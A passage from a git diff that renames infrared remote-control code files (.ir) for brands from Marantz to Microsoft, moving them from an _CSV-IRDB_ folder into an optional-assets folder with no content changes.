assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/144,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,24.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/24,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Memorex/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD Player/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/CD-R/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/DVD/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Processor/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Meridian/System Remote/19,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Metronome/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/116,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir diff 